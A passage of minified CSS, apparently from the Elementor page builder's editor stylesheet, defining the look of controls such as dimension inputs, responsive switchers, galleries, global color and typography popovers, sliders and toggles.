.elementor-link-dimensions{border:var(--e-a-border-bold);border-inline-start:none;background-color:var(--e-a-bg-default);padding:0;outline:none;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);cursor:pointer}.elementor-control-type-dimensions li:first-child input{border-inline-start:1px solid var(--e-a-border-color-bold);border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-dimensions li:first-child input:focus{border-color:var(--e-a-border-color-focus);margin-inline-start:0;width:100%}.elementor-control-type-dimensions li:last-child{max-width:27px}.elementor-control-type-dimensions.e-units-custom li.elementor-control-dimension:focus-within{flex:2.5}.elementor-control-type-dimensions .elementor-control-dimension-label{color:var(--e-a-color-txt-muted);display:block;text-align:center;font-size:9px;padding-block-start:5px}.elementor-control-type-dimensions .elementor-link-dimensions.unlinked{background-color:var(--e-a-bg-default)}.elementor-control-type-dimensions .elementor-link-dimensions.unlinked .elementor-linked{display:none}.elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked){background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent);border-color:var(--e-a-border-color-bold)}.elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) .elementor-unlinked{display:none}.elementor-control-responsive-switchers{--selected-option:0;--pointer-position:var(--selected-option);position:relative;width:2.5em;height:2.5em;margin:calc(-2.5em + 12px) 0;margin-inline-end:5px}.elementor-control-responsive-switchers__holder{position:absolute;width:100%;top:0;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);transition:.15s;border:1px solid transparent}.elementor-control-responsive-switchers.elementor-responsive-switchers-open{z-index:11000}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher{height:2.5em;transform:scale(1);opacity:1}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover{color:var(--e-a-color-primary-bold)}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder{box-shadow:var(--e-a-dropdown-shadow)}.elementor-responsive-switcher{all:unset;display:flex;align-items:center;justify-content:center;position:relative;z-index:2;cursor:pointer;height:0;width:100%;transform:scale(0);opacity:0;transition:.15s;font-size:12px;color:inherit}.elementor-responsive-switcher:hover{color:var(--e-a-color-primary-bold)}.elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen{height:2.5em;transform:scale(1);opacity:1}.elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen{color:var(--e-a-color-primary-bold)}.elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop{height:2.5em;transform:scale(1);opacity:1}.elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop{color:var(--e-a-color-primary-bold)}.elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop{height:2.5em;transform:scale(1);opacity:1}.elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop{color:var(--e-a-color-primary-bold)}.elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra{height:2.5em;transform:scale(1);opacity:1}.elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra{color:var(--e-a-color-primary-bold)}.elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet{height:2.5em;transform:scale(1);opacity:1}.elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet{color:var(--e-a-color-primary-bold)}.elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra{height:2.5em;transform:scale(1);opacity:1}.elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra{color:var(--e-a-color-primary-bold)}.elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile{height:2.5em;transform:scale(1);opacity:1}.elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile{color:var(--e-a-color-primary-bold)}.e-units-wrapper{position:relative;margin-inline-start:auto}.e-units-wrapper .e-units-switcher{cursor:pointer;font-size:10px;padding:.5em;margin:-.5em 0;transition:all .15s ease-in-out}.e-units-wrapper .e-units-switcher:hover{color:var(--e-a-color-primary-bold);background-color:var(--e-a-bg-hover);border-radius:var(--e-a-border-radius)}.e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit,.e-units-wrapper .e-units-switcher[data-selected=custom] span{display:none}.e-units-wrapper .e-units-switcher i.eicon-angle-right{transform:rotate(90deg)}.e-units-choices input{display:none}.e-units-choices input:checked+label{color:var(--e-a-color-primary-bold)}.e-units-choices label{cursor:pointer;display:block}.e-units-choices{display:none;overflow:hidden;max-height:0;position:absolute;top:-.8em;left:-.5em;width:2.5em;text-align:center;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);box-shadow:var(--e-a-dropdown-shadow);animation-timing-function:linear;animation-delay:0s;animation-fill-mode:forwards;z-index:11000}.e-units-choices .elementor-units-choices-label{display:flex;align-items:center;height:3em;justify-content:center;font-size:10px;transition:.15s}.e-units-choices .elementor-units-choices-label:hover{color:var(--e-a-color-primary-bold)}.e-units-choices.e-units-choices-open{display:block;animation-duration:1s;animation-name:e-units-choices-open}.e-units-custom input{font-family:monospace;font-size:.85em}@keyframes e-units-choices-open{0%{max-height:0}to{max-height:100vh}}.elementor-control-type-gaps .elementor-control-gaps{display:flex}.elementor-control-type-gaps li{flex:1;transition:flex-grow .3s ease-in-out}.elementor-control-type-gaps li .elementor-link-gaps,.elementor-control-type-gaps li input{display:block;text-align:center;width:100%;height:27px}.elementor-control-type-gaps li input{border-inline-start:none;border-radius:0;padding:var(--e-a-border-radius)}.elementor-control-type-gaps li input:focus{border-inline-start:var(--e-a-border-bold);margin-inline-start:-1px;width:calc(100% + 1px)}.elementor-control-type-gaps li input:focus+.elementor-control-gap-label{color:var(--e-a-color-txt)}.elementor-control-type-gaps li .elementor-link-gaps{border:var(--e-a-border-bold);border-inline-start:none;background-color:var(--e-a-bg-default);padding:0;outline:none;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);cursor:pointer}.elementor-control-type-gaps li:first-child input{border-inline-start:1px solid var(--e-a-border-color-bold);border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-gaps li:first-child input:focus{border-color:var(--e-a-border-color-focus);margin-inline-start:0;width:100%}.elementor-control-type-gaps li:last-child{max-width:27px}.elementor-control-type-gaps.e-units-custom li.elementor-control-gap:focus-within{flex:2.5}.elementor-control-type-gaps .elementor-control-gap-label{color:var(--e-a-color-txt-muted);display:block;text-align:center;font-size:9px;padding-block-start:5px}.elementor-control-type-gaps .elementor-link-gaps.unlinked{background-color:var(--e-a-bg-default)}.elementor-control-type-gaps .elementor-link-gaps.unlinked .elementor-linked{display:none}.elementor-control-type-gaps .elementor-link-gaps:not(.unlinked){background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent);border-color:var(--e-a-border-color-bold)}.elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) .elementor-unlinked{display:none}.elementor-control-type-icons .elementor-control-media__preview>*{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor-control-type-icons .elementor-control-media__preview i{font-size:70px}.elementor-control-type-icons .elementor-control-media__preview svg{height:75%}.elementor-control-type-icons .elementor-control-icons--inline__svg i.eicon-upload{font-size:15px}.elementor-control-type-gallery .elementor-control-media__content{border:var(--e-a-border-bold);border-radius:3px}.elementor-control-type-gallery .elementor-control-gallery-status{font-size:12px;height:27px;padding-inline-start:10px;border-block-end:var(--e-a-border-bold);display:flex}.elementor-control-type-gallery .elementor-control-gallery-status>*{display:flex;align-items:center}.elementor-control-type-gallery .elementor-control-gallery-status-title{flex-grow:1}.elementor-control-type-gallery .elementor-control-gallery-content{position:relative;overflow:hidden}.elementor-control-type-gallery .elementor-control-gallery-thumbnails{display:grid;grid-template-columns:repeat(auto-fill,minmax(48px,1fr));grid-gap:10px;cursor:pointer;padding:10px}.elementor-control-type-gallery .elementor-control-gallery-thumbnails:focus+.elementor-control-gallery-edit,.elementor-control-type-gallery .elementor-control-gallery-thumbnails:hover+.elementor-control-gallery-edit{opacity:1}.elementor-control-type-gallery .elementor-control-gallery-thumbnail{width:48px;height:48px;-o-object-fit:cover;object-fit:cover;border:var(--e-a-border)}.elementor-control-type-gallery .elementor-control-gallery-thumbnail+.unoptimized__image{outline:2px solid var(--e-a-btn-bg-danger-active);opacity:.6}.elementor-control-type-gallery .elementor-control-gallery-edit{position:absolute;top:0;bottom:0;left:0;right:0;background-color:rgba(0,0,0,.2);padding:10px;font-size:11px;transition:all .3s ease-in-out;pointer-events:none;cursor:pointer;opacity:0}.elementor-control-type-gallery .elementor-control-gallery-edit span{position:absolute;top:10px;right:10px;width:21px;height:21px;color:var(--e-a-color-white);background-color:rgba(0,0,0,.5);box-shadow:0 0 7px 0 rgba(0,0,0,.2);transition:var(--e-a-transition-hover)}.elementor-control-type-gallery .elementor-control-gallery-edit span i{font-size:11px;padding:5px}.elementor-control-type-gallery .elementor-control-gallery-edit span:hover{background-color:rgba(0,0,0,.6)}.elementor-control-type-gallery .elementor-control-gallery-add{width:48px;height:48px;font-size:14px}.elementor-control-type-gallery .elementor-control-gallery-add i{margin:0}.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-clear,.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-edit,.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-thumbnails{display:none}.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-content{padding:10px}.elementor-control-type-gallery.elementor-gallery-has-images .elementor-control-gallery-add{display:none}.elementor-control-type-gallery.elementor-control-dynamic .elementor-control-gallery-clear{border-inline-start:var(--e-a-border)}.elementor-control-type-gallery .elementor-control-gallery-clear{color:currentColor;background-color:transparent;border:none;cursor:pointer;justify-content:center}.elementor-control-type-gallery .elementor-control-gallery-clear:focus,.elementor-control-type-gallery .elementor-control-gallery-clear:hover{color:var(--e-a-color-danger)}.elementor-control-type-gallery .elementor-control-dynamic-switcher{border-width:0;border-inline-start-width:1px;border-block-end-width:1px;border-radius:0}.e-global__popover{width:288px;z-index:1;font-size:12px;padding-inline-start:10px}.e-global__popover-toggle{border:var(--e-a-border-bold);border-inline-end:0;border-start-start-radius:3px;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:0;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:var(--e-a-transition-hover)}.e-global__popover-toggle:hover{background-color:var(--e-a-bg-hover)}.e-global__popover-toggle--active{color:var(--e-a-color-primary-bold);background-color:var(--e-a-bg-active-bold)}.e-global__popover-container{box-shadow:var(--e-a-popover-shadow);border-radius:var(--e-a-border-radius);background-color:var(--e-a-bg-default)}.e-global__popover-title{padding:15px 20px;font-weight:500;border-block-end:var(--e-a-border);display:flex}.e-global__popover-title>i{margin-inline-end:5px}.e-global__popover-title-text{flex-grow:1}.e-global__popover-info{margin-inline-end:10px;display:inline-block}.e-global__popover-info-tooltip{width:270px;z-index:1;background-color:rgba(0,0,0,.9);color:var(--e-a-color-white);padding:20px;border-radius:3px}.e-global__popover-info-tooltip:after{content:"";position:absolute;bottom:-17px;left:16px;border:10px solid transparent;border-block-start-color:rgba(0,0,0,.9)}.e-global__popover-info i{font-size:13px}.e-global__preview-items-container{max-height:400px;overflow-y:auto;padding:5px 0}.e-global__preview-items-container::-webkit-scrollbar{width:7px}.e-global__preview-items-container::-webkit-scrollbar-thumb{background-color:#babfc5;border-radius:10px}.e-global__manage-button{font-weight:500;cursor:pointer}.e-global__typography{padding-block:10px;padding-inline:35px 20px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.e-global__typography.e-global__preview-item--selected:before{font-family:eicons;font-size:13px;content:"\e90e";position:absolute;transform:translateY(-50%);top:50%;inset-inline-start:13px}.e-global__color{padding:10px 20px;display:flex;align-items:center}.e-global__color-preview-container{height:20px;width:20px;border-radius:3px;border:1px solid rgba(0,0,0,.1);margin-inline-end:10px;flex-shrink:0;position:relative}.e-global__color-preview-color,.e-global__color-preview-transparent-bg{border-radius:3px;height:100%;width:100%;position:absolute;top:0;left:0}.e-global__color-preview-transparent-bg{background-image:linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold)),linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold));background-size:12px 12px;background-position:0 0,calc(12px / 2) calc(12px / 2)}.e-global__color-title{flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;padding-inline-end:10px}.e-global__color-hex{font-size:10px;color:var(--e-a-color-txt-muted)}.e-global__color .pcr-button{background-color:var(--e-a-bg-default)}.e-global__color.e-global__preview-item--selected .e-global__color-preview-container{display:flex;justify-content:center;align-items:center;color:var(--e-a-color-white)}.e-global__color.e-global__preview-item--selected .e-global__color-preview-container:before{font-family:eicons;font-size:13px;content:"\e90e";text-shadow:0 0 1px #000;z-index:1}.e-global__preview-item{cursor:pointer;position:relative}.e-global__preview-item:hover{background-color:var(--e-a-bg-hover)}.e-global__confirm-delete i,.e-global__confirm-message-text i{color:var(--e-a-color-warning)}.e-global__confirm-input-wrapper{display:flex;align-items:center;border:var(--e-a-border);border-radius:var(--e-a-border-radius);margin:15px 0;padding:2px}.e-global__confirm-input-wrapper input{font-family:var(--e-a-font-family);font-size:12px;padding:2px;border:0}.e-control-global .elementor-control-input-wrapper{display:flex;justify-content:flex-end;max-width:135px;width:100%}.e-control-global.elementor-control .elementor-control-input-wrapper{display:flex;flex-direction:row;align-items:stretch}.e-control-global .elementor-control-spinner{margin-inline-end:4px}.elementor-control-type-hidden{display:none!important}.elementor-control-type-icon .select2-selection__rendered .eicon{margin-inline-end:3px}.elementor-control-type-image_dimensions .elementor-control-field-description{margin:0 0 15px;line-height:1.4}.elementor-control-type-image_dimensions .elementor-control-input-wrapper{display:flex;align-items:flex-start}.elementor-control-type-image_dimensions .elementor-image-dimensions-field{width:65px}.elementor-control-type-image_dimensions .elementor-image-dimensions-field input:focus+.elementor-image-dimensions-field-description{color:var(--e-a-color-txt)}.elementor-control-type-image_dimensions .elementor-image-dimensions-separator{width:20px;text-align:center;padding-block-start:4px}.elementor-control-type-image_dimensions .elementor-image-dimensions-field-description{display:block;margin-block-start:5px;color:var(--e-a-color-txt-disabled);font-size:10px;text-align:center}.elementor-control-type-image_dimensions .elementor-image-dimensions-apply-button{margin-inline-start:auto}.elementor-control-media.e-media-empty-placeholder .e-control-image-size,.elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__content__remove,.elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__remove,.elementor-control-media:not(.e-media-empty) .elementor-control-media__content__upload-button{display:none}.elementor-control-media .eicon-plus-circle{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:var(--e-a-color-white);font-size:20px}.elementor-control-media__content__upload-button{background-color:var(--e-a-bg-active-bold)}.elementor-control-media__preview{height:100%;background-size:cover;background-position:50%;padding-block-end:42.8571%}.elementor-control-media-area{background-image:linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold)),linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold));background-size:16px 16px;background-position:0 0,calc(16px / 2) calc(16px / 2);background-color:var(--e-a-bg-default);border:var(--e-a-border-bold);aspect-ratio:21/9}.elementor-control-media-area:not(:hover) .elementor-control-media__remove{display:none}.elementor-control-media-area .eicon-video-camera{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:hsla(0,0%,100%,.7);font-size:21px}.elementor-control-media .elementor-control-media__content{aspect-ratio:21/9;position:relative;cursor:pointer;overflow:hidden}.elementor-control-media .elementor-control-media__content:hover:after{content:"";position:absolute;top:0;bottom:0;left:0;right:0;background-color:rgba(0,0,0,.2);pointer-events:none}.elementor-control-media .elementor-control-media__content:not(:hover) .elementor-control-media__tools{bottom:-30px}.elementor-control-media__content{transition:all .2s ease-in-out}.elementor-control-media__tools{position:absolute;bottom:0;left:0;right:0;height:27px;transition:all .2s ease-in-out}.elementor-control-media__tools>:not(:first-child){margin-inline-start:1px}.elementor-control-media__tool{display:flex;align-items:center;justify-content:center;flex-grow:1;color:var(--e-a-color-white);background-color:rgba(0,0,0,.9);font-size:11px;transition:var(--e-a-transition-hover)}.elementor-control-media__tool:hover{background-color:rgba(0,0,0,.8)}.elementor-control-media__remove{display:flex;align-items:center;justify-content:center;transition:all .3s ease-in-out}.elementor-control-media__content__remove{position:absolute;z-index:1;top:10px;right:10px;width:20px;height:20px;font-size:11px;color:var(--e-a-color-white);background-color:rgba(0,0,0,.5);border-radius:var(--e-border-radius);box-shadow:0 0 7px 0 rgba(0,0,0,.2);transition:var(--e-a-transition-hover)}.elementor-control-media__content__remove:hover{background-color:rgba(0,0,0,.6)}.elementor-control-media.e-media-empty .elementor-control-file-area,.elementor-control-media__warnings:empty{display:none}.elementor-control-media__warnings:not(:empty){margin-block-start:10px}.elementor-control-media__file{display:flex;justify-content:space-between;align-items:center;width:100%;margin-block-start:10px;border:var(--e-a-border)}.elementor-control-media__file__content{padding-inline-start:5px;font-size:12px}.elementor-control-media__file__content__label{color:#9da5ae}.elementor-control-media__file__content__info{display:flex;align-items:center;font-weight:500}.elementor-control-media__file__content__info__icon{margin-inline-end:5px}.elementor-control-media__file__controls{display:flex;border-inline-start:var(--e-a-border)}.elementor-control-media__file__controls__remove,.elementor-control-media__file__controls__upload-button{width:27px;height:27px;cursor:pointer;align-items:center}.elementor-control-media__file__controls__upload-button{display:flex;justify-content:center}.elementor-control-media__file__controls__remove{border-inline-end:var(--e-a-border)}.elementor-control-media.e-media-empty .elementor-control-media__file__content__info,.elementor-control-media.e-media-empty .elementor-control-media__file__controls__remove,.elementor-control-media:not(.e-media-empty) .elementor-control-media__file__content__label{display:none}.elementor-control-media .elementor-control-dynamic-switcher{border:none;border-radius:0;background-color:rgba(0,0,0,.9);color:var(--e-a-color-white)}.elementor-control-media .elementor-control-dynamic-switcher:hover{background-color:rgba(0,0,0,.8);color:var(--e-a-color-white)}.elementor-control-media .e-control-image-size{display:flex;flex-direction:column;width:100%;padding-block-start:20px}.elementor-control-media .e-control-image-size .elementor-control-input-wrapper{margin-inline-start:auto}.elementor-control-type-media.elementor-control-dynamic-value .elementor-control-input-wrapper{border:none}.elementor-control:not(.elementor-control-type-icons) .elementor-control-media__preview{background-color:var(--e-a-bg-active-bold)}.elementor-control-notice{display:flex;justify-content:flex-start;align-items:flex-start;gap:8px;padding:16px;border-radius:3px;border:1px solid var(--notice-control-color,var(--e-a-color-txt));color:var(--e-a-color-txt);font-size:12px;font-weight:400;line-height:1.5;text-align:start;margin-block-start:10px}.elementor-control-notice-type-info{--notice-control-color:var(--e-a-color-info)}.elementor-control-notice-type-success{--notice-control-color:var(--e-a-color-success)}.elementor-control-notice-type-warning{--notice-control-color:var(--e-a-color-warning)}.elementor-control-notice-type-danger{--notice-control-color:var(--e-a-color-danger)}.elementor-control-notice-icon{flex-basis:18px;color:var(--notice-control-color)}.elementor-control-notice-main{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start;gap:6px;flex:1}.elementor-control-notice-main-heading{font-weight:700;font-style:italic}.elementor-control-notice-main-content{font-style:italic;line-height:1.5}.elementor-control-notice-main-actions{display:flex;gap:10px;padding-block-start:8px}.elementor-control-notice-main a{color:inherit;font-weight:700;cursor:pointer}.elementor-control-notice-main a:focus,.elementor-control-notice-main a:hover{color:inherit}.elementor-control-notice-dismiss{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent;border:0;padding:0;margin:0;cursor:pointer}.elementor-control-type-popover_toggle input{display:none}.elementor-control-type-popover_toggle label{cursor:pointer}.elementor-control-type-popover_toggle .elementor-control-input-wrapper{display:flex;flex-direction:row-reverse;align-items:center}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:checked+.elementor-control-popover-toggle-toggle-label{color:var(--e-a-color-txt-active);background-color:var(--e-a-bg-active-bold)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:not(:checked)~.elementor-control-popover-toggle-reset-label{display:none}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label{height:27px;display:inline-flex;align-items:center;justify-content:center;border-radius:var(--e-a-border-radius);border:var(--e-a-border-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label{color:var(--e-a-color-txt-muted);margin-inline-end:5px}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label:hover{color:var(--e-a-color-txt)}.elementor-controls-popover.e-controls-popover--typography{padding-block-start:0}.e-control-global .elementor-control-popover-toggle-toggle-label{border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);flex-shrink:0}.elementor-control-type-repeater .elementor-control:not(.elementor-control-type-tab){padding-inline-start:10px;padding-inline-end:10px;padding-block-end:10px}.elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-add,.elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-tool-duplicate,.elementor-control-type-repeater.elementor-repeater-has-minimum-rows .elementor-repeater-tool-remove{display:none}.elementor-control-type-repeater .elementor-repeater-fields{margin:10px 0}.elementor-control-type-repeater .elementor-repeater-row-controls{border:var(--e-a-border-bold);border-block-start-width:0;padding-block-start:15px}.elementor-control-type-repeater .elementor-repeater-row-controls:not(.editable){display:none}.elementor-control-type-repeater .elementor-repeater-row-tools{display:flex;align-items:center;width:100%;border:1px solid var(--e-a-border-color-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-repeater .elementor-repeater-row-tools>button{display:flex;align-items:center;justify-content:center;height:40px;border:none;background-color:transparent;color:currentColor;cursor:pointer}.elementor-control-type-repeater .elementor-repeater-row-tools>button:focus,.elementor-control-type-repeater .elementor-repeater-row-tools>button:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title{flex:1;justify-content:flex-start;padding:0 10px;font-size:var(--control-title-size);white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title .eicon,.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title i,.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title svg{margin-inline-end:5px}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title img[src$=svg]{width:1em}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-tool{width:40px;border-inline-start:1px solid var(--e-a-border-color-bold)}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-handle-sortable{width:10px;border-inline-end:1px solid var(--e-a-border-color-bold);cursor:move}.elementor-control-type-repeater .elementor-button-wrapper{text-align:center;padding-block-start:5px}#elementor-controls{padding-block-start:15px}.elementor-control-type-section{padding:0}.elementor-control-type-section.e-open{padding-block-end:10px}.elementor-control-type-section+.elementor-control:not(.elementor-control-type-section):before{display:none}.elementor-control-type-section:not(:first-child):not(.elementor-control-type-section+.elementor-control-type-section){margin-block-start:25px}.elementor-control-type-select .elementor-control-input-wrapper{position:relative}.elementor-control-type-select .elementor-control-input-wrapper select{-webkit-appearance:none;-moz-appearance:none;appearance:none;font-size:var(--control-title-size);font-family:inherit;font-weight:inherit;font-style:inherit;text-transform:inherit;letter-spacing:inherit;line-height:inherit;flex-basis:100%;padding-inline-start:5px;padding-inline-end:20px;cursor:pointer}.elementor-control-type-select .elementor-control-input-wrapper select.e-select-placeholder{color:var(--e-a-color-txt-disabled)}.elementor-control-type-select .elementor-control-input-wrapper option.e-option-placeholder{display:none}.elementor-control-type-select .elementor-control-input-wrapper:after{font-family:eicons;content:"\e8ad";font-size:12px;position:absolute;top:50%;transform:translateY(-50%);right:5px;pointer-events:none}.elementor-control-type-select .elementor-control-field.elementor-control-field-select-small .elementor-control-input-wrapper{max-width:80px}.elementor-shadow-box .elementor-shadow-slider{margin-block-start:10px}.elementor-shadow-box .elementor-color-picker-wrapper .elementor-control-title{flex-grow:1}.elementor-control-type-slider.elementor-control-dynamic input{border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-slider .elementor-control-unit-2{width:21%}.elementor-control-type-slider.elementor-control-type-slider--multiple .elementor-control-input-wrapper{display:block}.elementor-control-type-slider--multiple{padding-block-end:40px}.elementor-control-type-slider--multiple .elementor-slider{margin-block-start:12px;width:98%}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle{border-radius:0;width:10px;transform:translateY(calc(50% - 14px)) translateX(4px)}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle:after{content:"";position:absolute;top:2px;height:12px;width:11px;transform:rotate(45deg);background-color:var(--e-a-color-white);border-radius:3px}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-lower:after{left:5px;box-shadow:2px -2px 3px 0 rgba(0,0,0,.1)}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-upper:after{right:5px;box-shadow:-2px 2px 3px 0 rgba(0,0,0,.1)}.elementor-control-type-slider .elementor-control-dynamic-switcher{border-inline-start-width:0;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-slider .elementor-control-input-wrapper{display:flex;align-items:center}.elementor-control-type-slider .elementor-dynamic-cover{margin-block-start:10px}.elementor-control-type-slider.e-units-custom .elementor-slider{display:none}.elementor-control-type-slider.e-units-custom .elementor-slider-input{width:100%;margin:0;transition:none}.elementor-slider{flex-grow:1;height:4px;background-color:var(--e-a-border-color-bold);border-radius:5px;position:relative;cursor:pointer}.elementor-slider-input{width:21%;min-width:54px;margin-inline-start:12px;transition:width .3s ease-in-out}.elementor-slider__extra{position:relative}.elementor-slider__labels{display:flex;justify-content:space-between}.elementor-slider__label{font-size:9px;color:var(--e-a-color-txt-disabled)}.elementor-slider__scales{position:absolute;display:flex;justify-content:space-evenly;width:100%;margin-block-start:4px}.elementor-slider__scale{width:1px;height:21px;background-color:var(--e-a-border-color-focus)}.elementor-slider .noUi-handle{height:16px;width:16px;background-color:var(--e-a-color-white);right:0;transform:translateY(calc(50% - 14px)) translateX(8px);position:absolute;box-shadow:0 1px 5px rgba(0,0,0,.3);border-radius:50%}.elementor-slider .noUi-connects{position:absolute;width:100%;height:4px}.elementor-slider .noUi-connect{position:absolute;z-index:0;top:0;left:0;height:100%;width:100%;will-change:transform;transform-origin:0 0;background-color:var(--e-a-border-color-focus)}.elementor-slider .noUi-tooltip{position:absolute;top:calc(100% + 5px);left:calc(50% - 4px);transform:translateX(-50%);font-size:10px}.elementor-control-type-structure .elementor-control-field{display:initial}.elementor-control-type-structure .elementor-control-structure-preset{padding:3px;border-radius:var(--e-border-radius);display:inline-block;cursor:pointer;height:50px}.elementor-control-type-structure .elementor-control-structure-preset svg{height:100%}.elementor-control-type-structure .elementor-control-structure-preset path{fill:var(--e-a-border-color-bold)}.elementor-control-type-structure .elementor-control-structure-reset{padding:15px 20px 0;font-size:11px;cursor:pointer;color:var(--e-a-color-txt-muted);border-block-start:var(--e-a-border);margin:0 -20px}.elementor-control-type-structure .elementor-control-structure-reset:hover{color:var(--e-a-color-txt)}.elementor-control-type-structure .elementor-control-structure-title{margin:10px -20px 0}.elementor-control-type-structure .elementor-control-structure-title:before{height:10px;box-shadow:inset 0 2px 4px hsla(0,0%,49.8%,.1)}.elementor-control-type-structure .elementor-control-structure-presets{display:flex;flex-wrap:wrap;justify-content:space-between}.elementor-control-type-structure .elementor-control-structure-presets input{display:none}.elementor-control-type-structure .elementor-control-structure-presets input:checked+.elementor-control-structure-preset path{fill:var(--e-a-border-color-focus)}.elementor-control-type-structure .elementor-control-structure-preset-wrapper{margin-block-end:15px}.elementor-control-type-structure .elementor-control-structure-preset-title{text-align:center;padding-block-start:5px;font-style:italic;font-size:11px;color:#9da5ae}.elementor-control-type-switcher .elementor-control-input-wrapper{text-align:end}.elementor-control-type-switcher .elementor-switch{position:relative;display:inline-block;vertical-align:top;height:20px;background-color:var(--e-a-bg-default);border-radius:18px;cursor:pointer}.elementor-control-type-switcher .elementor-switch-input{display:none}.elementor-control-type-switcher .elementor-switch-label{position:relative;display:block;height:inherit;font-size:10px;background:var(--e-a-bg-active-bold);border-radius:inherit;transition:.15s ease-out;transition-property:opacity,background}.elementor-control-type-switcher .elementor-switch-label:after,.elementor-control-type-switcher .elementor-switch-label:before{position:absolute;top:0;width:50%;text-align:center;line-height:20px;transition:inherit}.elementor-control-type-switcher .elementor-switch-label:before{content:attr(data-off);right:5px;color:var(--e-a-color-txt-muted)}.elementor-control-type-switcher 